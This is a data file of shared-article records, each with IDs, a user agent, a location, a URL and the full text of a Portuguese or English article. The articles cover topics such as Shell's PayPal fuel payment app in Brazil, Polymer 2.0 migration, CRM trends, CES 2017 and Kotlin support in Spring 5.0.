1483375941,CONTENT SHARED,-8934199835393138432,3217014177234377440,1655398135522594967,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://convergecom.com.br/tiinside/webinside/estrategia/18/11/2016/postos-shell-adotam-pagamento-no-smartphone/,[PayPal] Postos Shell adotam pagamento no smartphone,"Postos Shell adotam pagamento no smartphone Em cerca de 150 postos Shell no Rio de Janeiro e outros 40 em Goiânia, quem faz a cobrança pelo combustível agora são as próprias bombas de gasolina. E o cliente paga pelo smartphone, desde que tenha o app Shell Box instalado e uma conta do PayPal. Não é preciso digitar senha: o sistema de autenticação ""one touch"", do PayPal, reconhece o usuário pela forma como segura seu smartphone. ""É uma experiência mais ágil. Em alguns postos, a pessoa precisa sair do carro para pagar na loja. Agora não é necessário nem mesmo abaixar o vidro. Em vez de a maquininha de cartão estar do lado de fora, ela está dentro do seu celular"", compara Mário Mello, diretor geral da PayPal para a América Latina. O passo a passo é simples. Primeiro, o usuário instala em seu smartphone o aplicativo Shell Box ( Android , iOS ). Se já tiver uma conta PayPal registrada no aparelho, ela é associada automaticamente. Senão, é possível abrir uma conta do serviço de pagamento através do app da Shell. Feito isso, quando estiver em um posto, o cliente deve abrir o aplicativo Shell Box, clicar no botão de abastecimento e informar o número de identificação da bomba, apresentado em um monitor ao lado da mesma. A digitação desse código, que tem seis dígitos, deve ser feita durante o processo de abastecimento. Quando a mangueira é posta de volta na bomba, esta se comunica com um servidor para o qual é enviado o valor a ser cobrado. O servidor, por sua vez, verifica se algum usuário do app enviou recentemente o código de identificação daquela bomba. É checada também a localização do smartphone, para ter certeza de que a pessoa está no posto. Se tudo estiver correto, a cobrança é concluída no cartão de crédito que a pessoa tiver cadastrado no PayPal. A confirmação do pagamento aparece no monitor ao lado da bomba para o frentista. E há também a impressão da nota na impressora fiscal do posto. Vale destacar que é preciso que o smartphone tenha conexão à Internet, para enviar seus dados, caso contrário não é possível concluir a transação. A Ipiranga também lançou este ano uma solução de pagamento através de app, o Abastece Aí, mas, no seu caso, em vez do PayPal, é necessário ter uma tag do ConectCar, no qual é feita a cobrança. A Shell avaliou a possibilidade de usar o Sem Parar, sistema de tags com o qual atualmente também se pode pagar pelo seu combustível, e acabou preferindo a parceria com o PayPal. ""Achamos mais simples porque não precisa de um device novo. E dá para abastecer qualquer carro com o Shell Box, não apenas aquele que tiver uma tag"", explica Eduardo Wantuil, diretor de marketing da Raízen, empresa que licencia a marca Shell no Brasil. A solução será estendida para vários outros postos no interior de São Paulo nas próximas semanas, totalizando cerca de 400 até o final do ano. E ao longo de 2017 será expandida para todo o País. A Shell tem hoje mais de 5,9 mil postos no Brasil. Fidelidade O Shell Box funciona também como um canal de relacionamento da marca com seus consumidores. Através dele, a empresa vai oferecer promoções. A primeira já está no ar: nas compras a partir de R$ 50 em gasolina aditivada ou quatro litros de lubrificantes Shell Helix ou pelo menos R$ 25 nas lojas Shell Select, o cliente concorre a 10 mil milhas do programa Smiles. Quem fizer pagamento com PayPal pelo app participa automaticamente. Outros clientes podem concorrer tirando uma foto do cupom fiscal e enviando pelo app. Lançado no começo do ano para o projeto piloto, o Shell Box agora ganhou uma campanha de marketing com abrangência nacional e acumula mais de 100 mil downloads.",pt
1483377222,CONTENT SHARED,-7525512143002603676,361614354650880527,1358143966983287595,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,http://time.com/money/4619683/most-purchased-brands-world/,These Are The 10 Most Purchased Brands in the World,"Many American consumers are still having a Coke and smile. Though soda sales are generally on the decline, Coca-Cola was ranked the most popular brand by Kantar Worldpanel, a consumer research firm, Business Insider reported . Kantar Worldpanel studies how many households around the world are buying each brand and how often. In its analysis of shopper behavior between October 2014 and October 2015, it examined 300 billion shopper decisions, encompassing 15,00 brands in 44 countries. Here's a ranked list of the most popular brands: 10. Dove: Owned by Unilever, Dove added 31 million households compared to the number of households it added last year. 9. Knorr: Also owned by Unilever, Knorr sells stock cubes, flavor pots and powder mixes. 8. Indomie: The Asian instant-noodle brand ranks as the number-one brand in Indonesia. It's recently expanded to Turkey. 7. Nescafé: The Nestlé-owned coffee brand is still popular, but fell from its ranking of 6th place in the 2014 ranking. 6. PepsiCo: The soda maker's popularity is bolstered by Egypt, one of the few parts of the world where people choose Pepsi more often than Coke. 5. Lays: Also owned by PepsiCo, Lays added 25 million households to its reach over the year. 4. Maggi: This Nestlé-controlled company makes instant soups, sauces, stocks and noodles. 3. Lifebuoy: This soap brand added disinfecting devices to shopping cart handles in the UAE and Indonesia. It also created a warning system to remind people to wash their hands thoroughly. 2. Colgate: The toothpaste brand-already being bought by two-thirds of households worldwide-added 40 million households to its customer base this year, the largest gain of all brands in the analysis. 1. Coca-Cola: The red-bottled cola was ranked as the most popular brand of the past year. It's built its notoriety by supplying local stores with branded refrigerators for its drinks.",en
1483438408,CONTENT SHARED,2231749805468232267,-1578287561410088674,-2843864418143043137,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) SmartCanvas/0.1.0 Chrome/49.0.2623.75 Electron/0.37.2 Safari/537.36",SP,BR,HTML,https://medium.com/@chuckhorton/road-to-polymer-2-0-937232bcc73b,Road to Polymer 2.0,"Status, Articles, Code Labs, Links and Notes about Polymer 1.x to 2.0 Polymer 2.0 is designed to support the new custom elements v1 and shadow DOM v1 specifications being implemented by most major browser vendors, while providing a smooth migration path for Polymer 1.x users. As many of you know, we're almost ready to release the newest version of Polymer. Our goal is to make it simple to build high-quality, performant web applications with high-quality, performant Web Components. Polymer 2.0 uses native ES6 class-based syntax for optimal interoperability and simplicity. When released, Polymer 2.0 should support the same set of browsers as Polymer 1.x -  IE 11, Edge, Safari (9+), Chrome, Opera and Firefox. Status (as of 12-21-2016) The Polymer 2.0 preview branch and the v1 webcomponents polyfills now support all of the major features and changes we set out to implement for Polymer 2.0. These include: Support for the V1 web components specs and an ES6 class-based syntax Implementing new polyfills for V1 custom-elements and HTML Imports Separating the shady DOM and styling polyfills out of Polymer proper as standalone polyfills under webcomponentsjs and reworking it to eliminate the Polymer.dom API Making targeted changes to the data system to address key feedback from 1.x users Providing a legacy API to enable easy 1.x - 2.0 transition and hybrid elements that will run on either version. We already have 70% of elements ported to Polymer 2.0 Hybrid Mode , and began testing simultaneously for Polymer 1.x and Polymer 2.0 compatibility. We have also built new element features to support Web Components v1 where needed. Now, we are testing our elements and improving the compatibility and stability of the Web Components polyfills. Install Polymer 2.0 You can install the Polymer 2.0-preview branch using bower: You can also use bower to install any of the available hybrid elements: Note that all of the 2.0-preview branches are active development branches and may break at any time. Polymer 2.0: Under the Hood (Polymer Summit 2016) What's up with Polymer 2? Polycasts #54 Polymer 2.0 Changes Polymer 2.0 includes a number of breaking changes. However, the Polymer team has worked to provide an incremental path for updating Polymer 1.x elements to 2.0. Overview Support for the V1 web components specs ES6 class-based syntax Implementing new polyfills for V1 custom-elements and HTML Imports Separating the shady DOM and styling polyfills out of Polymer proper as standalone polyfills under webcomponentsjs and reworking it to eliminate the Polymer.dom API Making targeted changes to the data system to address key feedback from 1.x users Elements Changes Polymer 2.0 supports several types of elements: Providing a legacy API to enable easy 1.x - 2.0 transition and hybrid elements that will run on either version. 2.0 class-based elements use the ES6 class-based syntax supported by the custom elements v1 specification. Recommended for new development in Polymer 2.0. 2.0 legacy elements use the Polymer factory method, and have most of the 1.0 API available to them. 2.0 hybrid elements are elements defined using the legacy Polymer factory method, with extra code for backwards compatibility with 1.x. They can run on Polymer 1.7+ as well as Polymer 2.0. DOM Template All elements need to update their shadow DOM template and styling as described in this section. Remove deprecated patterns in the DOM module ( <dom-module> using is or name ; styles outside of the template). Update your element's DOM template to use the new <slot> element instead of <content> . Update styles to use the ::slotted() selector in place of ::content. Remove any /deep/ and ::shadow CSS rules. See more at: www.polymer-project.org/2.0/docs/upgrade#dom-template Shadow DOM styles Update styles in your shadow DOM to match v1 specifications: Replace ::content selectors with ::slotted() selectors. Remove /deep/ and ::shadow selectors, if you're still using them. Remove :root selectors. Update custom property syntax. Wrap custom-style elements. See more at: www.polymer-project.org/2.0/docs/upgrade#shadow-dom-styles Polymer DOM APIs Hybrid and legacy elements can continue to use existing DOM APIs, but may require some changes. Class-based elements should use native DOM APIs. Hybrid elements: update Polymer.dom usage Hybrid elements need to keep using the Polymer.dom API. However, note that in 2.0, for native methods and properties that return a NodeList, ** Polymer.dom APIs also return NodeList , not Array . If you're using any native Array methods on the returned object, you need to update your code. See more at: www.polymer-project.org/2.0/docs/upgrade#polymer-dom-apis CSS Custom Property Shim The following changes have been made in the shim that Polymer 2.0 uses: The shim always uses native CSS custom properties on browsers that support them. This was optional in 1.x, and it introduces some limitations on the use of mixins. The customStyle instance property has been removed. Use updateStyles instead. Change any code that imperatively creates custom-style elements. Invalid custom properties syntax is no longer supported. These changes are described in Shadow DOM styles . See more at: www.polymer-project.org/2.0/docs/upgrade#css-custom-property-shim Custom elements APIs Polymer 2.0 elements target the custom elements v1 API. All elements. The contracts have changed for several of the lifecycle callbacks. Check and test your code to make sure this doesn't cause problems with your elements. All elements. Refactor type-extension elements as wrapper elements. Wrap existing type-extension elements. See more at: www.polymer-project.org/2.0/docs/upgrade#custom-elements-apis Data system improvements Polymer 2.0 introduces a number of improvements in the data system: No more dirty checking for objects or arrays. Unlike 1.x, when you make a notifying change to an object or array property, Polymer re-evaluates everything below that property (sub-properties, array items). Simpler array handling. Eliminates the Polymer.Collection abstraction and key-based paths for array items. Batched data changes, which can improve performance as well as correctness. Undefined dependency checks for observers, computed bindings and computed properties have been removed. These are all called once at initialization time. Only properties listed explicitly in properties can be configured from an attribute. Element initialization (including template stamping and data system initialization) is deferred until the the element is connected to the main document. (This is a result of the custom element v1 changes.) Several miscellaneous smaller changes. See more at: www.polymer-project.org/2.0/docs/about_20#data-system and www.polymer-project.org/2.0/docs/upgrade#data-system Removed APIs The following APIs have been removed. Polymer.instanceof and Polymer.isInstance : no longer needed, use instanceof and instanceof Polymer.Element instead. element.getPropertyInfo : This API returned unexpected information some of the time and was rarely used. element.getNativePrototype : Removed because it is no longer needed for internal code and was unused by users. element.beforeRegister : This was originally added for metadata compatibility with ES6 classes. We now prefer users create ES6 classes by extending Polymer.Element , specifying metadata in the static config property. For legacy elements, dynamic effects may now be added using the registered lifecycle method. element.attributeFollows : Removed due to disuse. element.classFollows : Removed due to disuse. listeners Removed ability to use id.event to add listeners to elements in shadow DOM. Use declarative template event handlers instead. Methods starting with _ are not guaranteed to exist (most have been removed). Note that Polymer.Element provides a cleaner base class without much of the sugared utility API that present on legacy elements, such as fire , transform , and so on. fire removed, use .dispatchEvent( CustomEvent('some-event'), {bubbles: true}); transform removed If you want to upgrade to a class-based element but depend on some of the removed APIs, you can extend the Polymer.LegacyElement class instead of Polymer.Element . Use See more at:",en
1483481452,CONTENT SHARED,-5680127089889759432,-2726721797588771398,5844018272215098022,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.28 Safari/537.36",NJ,US,HTML,http://www.cmswire.com/customer-experience/7-top-crm-trends-for-2017-a-look-ahead/,7 Top CRM Trends for 2017: A Look Ahead,"As the New Year kicks into gear, we can expect new CRM trends and technologies to emerge, too. PHOTO: Erkan Utu The cost of acquiring a new customer can be anywhere from five to 25 times more expensive that retaining an existing one. That's why in today's competitive digital marketing landscape, smart businesses do everything they can to show their appreciation for existing customers . This reality is reflected in the unprecedented growth of customer relationship management (CRM) technologies, which have become an essential component for marketing departments in all verticals. As the New Year kicks into gear, we can expect new CRM trends and technologies to emerge, too. Here's what to expect. Brace for More AI-Based Bots Marketers are faced with an overwhelming amount of data. The challenge is finding insights and creating relevant actions from copious amounts of data. In a world of constantly connected customers, where data grows at speeds too great to comprehend, artificial Intelligence (AI) powered bots are a key to marketing insights. Machine learning and predictive algorithms can help take the guesswork out of marketing decisions; so AI-based bots will become essential tools for marketers who are committed to building creative, exciting, hearts-and-needle-moving campaigns. Contextual CRM Will Take Center Stage Today's customers are increasingly savvy and well prepared to filter their marketing messages. In an environment in which many customers view ads as noise that needs to be blocked, becoming a ""best-friend brand"" is the only way to break through the marketing clutter and gain customers attention and trust. In 2017, we will witness a surge in technologies for real-time hyper-targeting, catering to micro-segments of customers and embodying the vision of contextual marketing: targeting every customer with the right message, on the right channel, at the right time. Omnichannel CRM Will Take Over With the average adult connected to the web by 4.5 devices, marketers will no longer be able to ignore the multichannel reality. Customer communications will increasingly be conducted through orchestrated multichannel campaigns. As more traffic is directed to mobile, CRM on mobile will overtake other CRM channels. The ever-connected user will leave marketers no option but to be always on, and their efforts will be directed to always-on channels. Robust mobile CRM backed by powerful multichannel capabilities will be the name of the game. Social CRM Will Thrive Despite the unsurpassed popularity of social platforms, CRM has yet to truly harness social media for customer marketing. 2017 may be the year of social CRM, with growing retention activities on all social channels and a deepening emphasis on social influence and sentiment analysis. The factor that may finally tilt CRM towards social may be customer support: Facebook and other platforms are putting weight behind customer support, via both humans and bots. Predictive Analytics Will Come Into Its Own The buzz of predictive analytics (PA) has been going around the CRM space for years. But most systems still incorporate only a semblance of PA, if they do so at all. 2017 will be the tipping point for CRM PA. We will see the real integration of PA into CRM platforms, allowing for future value calculations that will lead to more powerful monetization methods. Verticalized CRM Will Set In As users come to expect more from brands' communications, and CRM managers require more bespoke customization, customer marketing platforms will offer different solutions for ecommerce, gaming, financial services and other verticals. These systems will cater to the radically different business and monetization models of each vertical, with more product-and cart-centric methods for ecommerce, longer time horizons for financial services customers and so forth. The Suite/Best-of-Breed Seesaw Will Keep Swinging On the one hand, brands are looking for integrated solutions. On the other hand, cloud technologies support best of breed platforms. There is a trade-off between these two ends, and CRM is still seesawing between them. 2017 will not provide a conclusive answer to this conundrum. Data-driven retention marketing technology has become a must-have for customer-facing brands. In 2017, customers will expect contextual and emotionally intelligent communications that acknowledge their preferences, wants and needs. This is the time to make sure that your CRM technology can deliver. Pini Yakuel, founder and CEO of Optimove , has more than a decade of experience in analytics-driven customer marketing, business consulting and sales. An entrepreneur, marketer and consultant, he enjoys the creativity of developing an innovative product and growing a business.",en
1483528705,CONTENT SHARED,6227065897176996407,3609194402293569455,-3557937326345187260,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.inc.com/john-brandon/first-90-days-tech-gadgets-that-will-simplify-your-life-in-2017.html,6 New Tech Gadgets That Will Simplify Your Life in 2017,"This is going to be an amazing year for gadgets . Voice-activated artificial intelligence, wireless charging, and digitized note-taking provide just a hint of what is to come. More than anything, as tech evolves this year, the main benefit will be that life becomes a bit easier. We won't have to hunt around online for information as much, because we'll be able to ask a bot to do that. We won't have to keep a paper notepad around in the office, because we'll be able to save our scribbles to an app and then retrieve the notes at anytime. These gadgets, many of which either debuted right at the end of 2016 or will come out shortly, provide some handy perks. Grab one of these speakers for the office--you'll be amazed how much it can simplify your day. You can ask about the weather, set reminders, and even do research on the fly, all by voice, without lifting your hands off the keyboard. Plus, the speaker sounds sublime. Many of us have ditched a desk phone and use a smartphone all day. Yet, we still need to charge up. This docking station serves as a charger, a Bluetooth speakerphone, and a desk phone with a numeric keypad. It makes quick dialing a bit faster. Taking notes in a meeting just got easier. Using an ink pen, you write everything normally. Yes, your chicken scratches all convert into an app. Wacom digital pads sync up to your phone quickly without a lot of fuss. Made for the iPhone 7 and iPhone 7 Plus, this multipurpose case has a snap-in slot on the back for an extra lens, a flash drive for storage, and a battery pack. In 2017, it will include a carbon-monoxide detector, a multitool with knife and saw, and a laser tool for measurements. Your desktop monitor needs a stable base, so it might as well be useful, right? This monitor from AOC uses Qi charging technology so you can set your phone down on the base. The monitor has a 20,000,000:1 contrast ratio and a 5-millisecond response time. A strange name, but these location tags could be invaluable during your work day. They come in different versions, including one that feeds the room temperature to the Sense app and a new one called SleepPeanut that you wear to bed to measure your sleep cycles.",en
1483528930,CONTENT SHARED,7986490214699943896,3609194402293569455,-3557937326345187260,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.inc.com/salvador-rodriguez/ces-robotics-vr-2017.html,"Robotics, VR Content Take Center Stage at CES, But Where Is Cannabiz?","Celebrating its 50th anniversary, the Consumer Electronics Show in Las Vegas will be the largest edition of the show yet. At the gargantuan tech conference, two of the most exciting tech markets this year will be robotics and virtual reality content. However, another fast-growing tech market, that of cannabis startups, will be noticeably absent. Robotics Since even before Star Wars gave us C-3PO and R2-D2, humans have dreamed of robot assistants that serve as machine sidekicks. In 2017, those dreams will become a reality. With advances in artificial intelligence technology, improvements in the components used to build robots and decreasing costs, consumer robotics are poised for a break out. That will be on display at CES. An entire marketplace will be dedicated to robotics . ""These are products that do things like helping seniors around, to making drinks, vacuuming rooms,"" said Gary Shapiro , president and CEO of the Consumer Technology Association, the organization behind CES. ""Robots are coming of age."" This exhibit hall will include companies like FoldiMate , a startup that builds a robotic laundry-folding machine. Another will be the Ozobot , a gumball-sized robot that teaches kids about robotics and computer science. Among the most exciting companies will be Mayfield Robotics , a subsidiary of Bosch. For two years, this company has been working in stealth, and at CES it will finally reveal its product--a robot for your home. Companies are seeking to define what home robots will be, said Chris Matthews, vice president of marketing at Mayfield Robotics. ""We want them to be helpful, inspiring and bring a little joy to the home, be a spark of light that makes technology more approachable and more engaging."" Virtual Reality Content Virtual reality reached vast audiences in 2016 with the consumer releases of notable headsets like the PlayStation VR and the Oculus Rift. Now, it's time for the content to start pouring in, and it'll be in the spotlight at CES. ""We need to be creating engaging VR experiences that people are interested in exploring and is applicable to their daily lives,"" said Gordon Meyer, director of marketing at YouVisit , a VR company whose tools make it easy for anyone to create and share their own VR experiences. ""The VR industry needs to start creating content that excites, inspires, teaches, entertains and even changes us."" Others VR content companies that will be at the show include the likes of ObEN , a startup that lets users create personalized and virtual replicas of themselves for virtual reality. Another is NextVR, the Southern California company that specializes in shooting sporting and music events and then live streaming the action to VR users. In 2016, NextVR entered into a major partnership with the NBA to live stream games every Tuesday to users. The company is hoping to expand on those efforts--offering users a steady menu of pre-scheduled live events--in 2017. ""The more that we can provide advanced notice and communication to our viewers in the ilk of a TV guide, the more we'll see real substantial traction around viewership,"" said David Cole, co-founder of NextVR. ""And we see the early signs of that now."" Where Are the Cannabis Companies? Venture capital money has begun to pour into the cannabis market as more states begin legalizing the substance for recreational use. In 2016 alone, two of the states whose voters approved recreational cannabis were Nevada, which hosts CES every year, and California, the tech capital of the world. Despite these victories, the market will not be represented at CES. And that won't be changing anytime soon, CES's Shapiro told Inc . ""It's consumer technology. Calling a bong consumer tech would be a stretch,"" Shapiro said, adding that his team has not even discussed the possibility of adding a cannabis-focused marketplace. ""If someone wants to make the argument to us that their lighting system to grow pot at home or something like that is technology innovation, I guess we would consider it."" While no doubt having the support of CES would help, the industry's higher priorities lay in getting more states to legalize recreational cannabis and, most importantly, getting the federal government on board. CES ""would really help to breakdown the stigma and the barriers,"" said Shauntel Ludwig, vice president of operations at Organicix, the Las Vegas company behind DaVinci vaporizers . Ludwig said her company attends CES every year to draw inspiration from other tech companies that can be applied to their own products. Cannabis companies may not be at the 2017 edition of CES, but this would be expected to change if the industry continues to rack up legal victories across the U.S. ""Marijuana is becoming more mainstream by the day, and it is only a matter of time before you see a cannabis exhibitor at CES. It hasn't happened yet because the industry itself is fairly young,"" said Adam Bierman, CEO of MedMen, a Los Angeles firm that offers management services and capital to the cannabis industry. ""But you will see much faster mainstreaming now that major states like Massachusetts, Nevada, and the biggest trendsetter of them all, California, passed recreational marijuana.""",en
1483554088,CONTENT SHARED,-8146108036639482450,-5527145562136413747,-4557579344932958724,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://www.lovemondays.com.br/blog/entrevista-com-alejandro-formanchuk-funcionario-nao-e-publico-interno-e-ator-extremo,"Entrevista com Alejandro Formanchuk: ""Funcionário não é público interno - é ator extremo"" - Blog do Love Mondays","O argentino Alejandro Formanchuk é um apaixonado pelo tema marca empregadora e pelos desafios da comunicação organizacional. Essa paixão fica evidente na intensidade de suas opiniões. Ele detesta, por exemplo, o termo ""cliente interno"" quando se trata de falar de funcionários de uma empresa. Diz também não gostar (na verdade, diz odiar) o termo ""público interno"", afirmando: ""é até uma falta de respeito. Uma pessoa que trabalha mais de 8 horas por dia numa empresa é tudo menos público ou espectador. É o ator principal."" Além de dirigir a consultoria que leva seu nome e atuar como professor de Ciências da Comunicação na Universidade de Buenos Aires, ele já lançou dois e-books gratuitos dentro do tema. Convidamos Formanchuk para falar conosco sobre algumas das ideias expostas em um deles ,""Branding Interno - una trama inteligente"", lançado em 2011. Para baixar o e-book , ""Branding Interno - Uma trama inteligente"", clique aqui . LM - As empresas, em certa medida, refletem a forma como o conhecimento é dividido no mundo da educação: de marca cuida o Marketing; de dinheiro, a área Financeira, de pessoas, o RH. Em ""Branding interno: una trama inteligente"", você afirma que é impossível ter apenas uma área como responsável pela marca empregadora dentro de uma organização. Se uma empresa não trabalha esse tema e quer começar, quem deve estar à frente disso? AF - O desenvolvimento do branding interno é uma ação multidimensional, por isso, em minha opinião, devem estar envolvidas as áreas que geram mais impacto na construção de valor e na experiência de marca da porta para dentro (comunicação interna e RH), da porta para fora (marketing e reputação) e em sua totalidade (a alta liderança). LM - No livro, você diz que odeia o conceito de ""cliente interno"". Por quê? AF - Porque é uma ideia prejudicial, que atrapalha a análise desse grupo e que, para piorar, está muito difundida. Chamar de cliente um empregado tem o objetivo de valorizá-lo. Nasce de uma boa intenção. Mas deste modo se parte da ideia de que os de fora tem mais valor que os de dentro e se estabelece uma desigualdade que é, na verdade, uma mera diferença. Ou alguém chama os clientes de empregados externos? Veja: a definição clássica é a de que um cliente é uma pessoa que deseja um produto ou serviço, que pode pagar por ele e que, além disso, tem o poder de escolher entre muitas empresas com ofertas similares. Creio que nada disso se aplica aos empregados. Ainda que consideremos que um emprego seja um produto que um indivíduo deseja, a pessoa não pode simplesmente decidir onde trabalhar - pleno emprego não existe. Além disso, não basta ter talento (dinheiro) para ter acesso (comprar) o emprego (produto), já que há outros candidatos com talento disputando o mesmo emprego. Aqui não se decide o que comprar, porque ainda é a empresa que decide a quem vender. As empresas não buscam ""vender"" grandes quantidades de empregos. A oferta sempre é limitada. Quando uma pessoa não quer mais um produto, simplesmente o troca ou se desfaz dele. Não é simples assim com um funcionário. O cliente sempre tem razão. O empregado também? A lógica monetária é inversa. O cliente dá dinheiro à empresa, enquanto o empregado recebe dinheiro. É possível chamar de clientes as pessoas para quem a empresa paga para que façam o que ela quer? Mas existe ainda uma diferença que é a que considero a mais significativa: o destinatário das ações de branding interno está dentro da empresa, experimenta sua realidade todos os dias, conhece-a profundamente. Todas as mensagens que chegam estão filtradas por sua percepção direta. LM - Você diz também que o empregado não é um público interno, mas um ator extremo. AF - Sim. É um ator porque age na empresa todos os dias e a constrói - não é um público passivo. E é extremo porque tem poder - um empregado comum falando bem ou mal de sua empresa traz, aos olhos de quem está de fora, uma mensagem mais sincera. LM - Supondo que uma empresa tenha um posicionamento externo de marca muito forte e consolidado, mas não trabalhe de forma estruturada o branding com o público externo. O que é imprescindível tomar emprestado do posicionamento externo? AF - O valor externo da marca deve ser vivido dentro da empresa. Por exemplo, não posso projetar para o mercado que sou uma empresa inovadora, criativa e disruptiva e ter políticas internas que vão contra esses valores. A imagem externa é um capital que posso aproveitar ao desenvolver minha marca interna, mas essa mesma imagem que projeto para fora me obriga a ser coerente dentro de casa. LM - Quais as tendências de employer branding que devem ter a nossa atenção? AF - Elas estão sempre relacionadas às grandes tendências culturais que impactam todas as áreas de uma organização. As mudanças entre as gerações, o sentido do tempo e do trabalho, as aspirações, as coisas que valorizamos, a forma como nos enxergamos no futuro. E, especialmente como diz Moises Naim, o fim do poder como o conhecemos*. *Moises Naim é um jornalista venezuelano, considerado um dos pensadores mais destacados da América Latina. É autor do livro ""O fim do poder"", lançado em 2013, obra em que analisa o que chama de ""grande erosão de poder no mundo"". O autor afirme que o poder - a capacidade de conseguir que os outros façam ou deixem de fazer algo - está passando por uma transformação histórica, se dispersando cada vez mais nas mãos de novos e surpreendentes grupos, muito menores em escala e recurso que os poderes tradicionais, como governos, exércitos, empresas e sindicatos.",pt
1483613350,CONTENT SHARED,4891010769166501207,7645894863578715801,-9179017295002482348,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,https://spring.io/blog/2017/01/04/introducing-kotlin-support-in-spring-framework-5-0,Introducing Kotlin support in Spring Framework 5.0,"Following the Kotlin support on start.spring.io we introduced a few months ago, we have continued to work to ensure that Spring and Kotlin play well together. One of the key strengths of Kotlin is that it provides a very good interoperability with libraries written in Java. But there are ways to go even further and allow writing fully idiomatic Kotlin code when developing your next Spring application. In addition to Spring Framework support for Java 8 that Kotlin applications can leverage like functional web or bean registration APIs, there are additional Kotlin dedicated features that should allow you to reach a new level of productivity. That's why we are introducing a dedicated Kotlin support in Spring Framework 5.0 M4 , and I would like to summarize in this blog post the features that are designed to make your developer experience seamless when using these technologies together. You can use this link to find Kotlin related issues in Spring Framework bug tracker. Leveraging Kotlin nullable information Originally based on a community contribution from Raman Gupta , Spring now takes advantage of Kotlin null-safety support to determine if an HTTP parameter is required without having to define explicitly the required attribute. That means @RequestParam name: String? with be treated as not required and @RequestParam name: String as required. This is also supported on Spring Messaging @Header annotation. In a similar fashion, Spring bean injection with @Autowired or @Inject uses this information to know if a bean is required or not. @Autowired lateinit var foo: Foo implies that a bean of type Foo must be registered in the application context while @Autowired lateinit var foo: Foo? won't raise an error if such bean does not exist. Extensions for RestTemplate and Functional Web API Kotlin extensions allow to extend existing APIs in a non-intrusive way, providing a better alternative to utility classes or Kotlin specific class hierarchies to add Kotlin dedicated features to Spring. Some libraries like KotlinPrimavera from Mario Arias have already showed various kind of Kotlin helpers we can bring to Spring API in order to allow writing more idiomatic code. With Spring Framework 5, we integrate the most useful and popular extensions in Spring Framework dependencies, and we are adding new ones! For example, Kotlin reified type parameters provide a workaround for JVM generics type erasure , so we have introduced some extensions to take advantage of this feature to provide a better API when possible. That allows to provide convenient API for RestTemplate (thanks to Jon Schneider from Netflix for contributing this). For example, to retrieve a list of Foo objects in Java you have to write: Or that way if you use an intermediate array: While in Kotlin with Spring Framework 5 extensions you will be able to write: Be aware that Kotlin extensions are statically resolved, you have to import them. In the example above, you need to add import org.springframework.web.client.RestOperationsExtension.getForObject to be able to use it. Kotlin extensions are generally automatically suggested by IDEs like IntelliJ IDEA (like static imports), but it does not work yet for extensions nested in a container object (you can vote for KT-15440 ) so until it is fixed you will have to add Spring Kotlin extensions imports manually. Available RestTemplate or functional web API extensions currently available in Spring Framework 5.0 M4 are: These extensions also provide member functions supporting natively Kotlin KClass , allowing you to specify Foo::class parameter instead of Foo::class.java . Reactor Kotlin extensions Reactor is the reactive foundation Spring Framework 5.0 is built upon, and there is good chances your are going to use its Mono , Flux and StepVerifier APIs when developing a reactive web application. So today we are also introducing Kotlin support in Reactor, via the new reactor-kotlin project! It provides extensions to be able to create Mono instances from any class instance by writing foo.toMono() which many will prefer to Mono.just(foo) . It also supports for example creating a Flux from a Java 8 Stream instance with stream.toFlux() . Iterable , CompletableFuture and Throwable extensions as well as KClass based variants of Reactor API are also provided. This is still the early days of this project, so feel free to contribute your own extensions if you find missing bits. Functional bean registration with Kotlin Spring Framework 5.0 introduces a new way to register beans using lambda as an alternative to XML or JavaConfig with @Configuration and @Bean . In a nutshell, it makes it possible to register beans with a Supplier lambda that acts as a FactoryBean . In Java you will for example write: While in Kotlin, reified type parameters allow us to simply write: You can see a concrete example of Spring application using both functional web and bean registration API at . ApplicationContext related Kotlin extensions available are: No need to declare your bean class as open anymore Until now, one of the few pain points you faced when building a Spring Boot application with Kotlin was the need to add an open keyword on each class and their member functions of Spring beans proxified with CGLIB like @Configuration classes. The root cause of this requirement comes from the fact that in Kotlin, classes are final by default . Fortunately, Kotlin 1.0.6 now provides a kotlin-spring plugin that open classes and their member functions by default for classes annotated or meta-annotated with one of the following annotation: Meta-annotations support means that classes annotated with @Configuration , @Controller , @RestController , @Service or @Repository are automatically opened since these annotations are meta-annotated with @Component . We have updated start.spring.io to enabled it by default. You can have a look to this Kotlin 1.0.6 blog post for more details, including the new kotlin-jpa and kotlin-noarg plugins really useful with Spring Data entities. Kotlin based Gradle build configuration Back in May, Gradle announced they are going to support writing build and config files in Kotlin in addition to Groovy. This make it possible to have full auto-completion and validation in your IDE, because such files are regular statically-typed Kotlin Script files. This is likely to become the natural choice for Kotlin based project, but this is also valuable for Java projects too. Since May, the gradle-script-kotlin project has continued to evolve, and is now usable with 2 warnings to keep in mind: You need Kotlin 1.1-EAP IDEA plugin to get autocompletion (but wait Kotlin 1.1-M05 if you are using kotlin-spring plugin since 1.1-M04 does not work with this plugin yet) The documentation is not complete, but the Gradle team is really helpful on the #gradle channel of the Kotlin Slack. Both spring-boot-kotlin-demo and mixit projects use such Kotlin based Gradle builds, so feel free to have a look. It may be available in start.spring.io later, feel free to add your +1 on the related issue . Kotlin Script based templates As of version 4.3, Spring Framework provides a ScriptTemplateView to render templates using script engines that supports JSR-223 . Kotlin 1.1-M04 provides such support and allows to render Kotlin based templates, see this commit for details. This enables some interesting use cases like writing type-safe templates using kotlinx.html DSL or simply 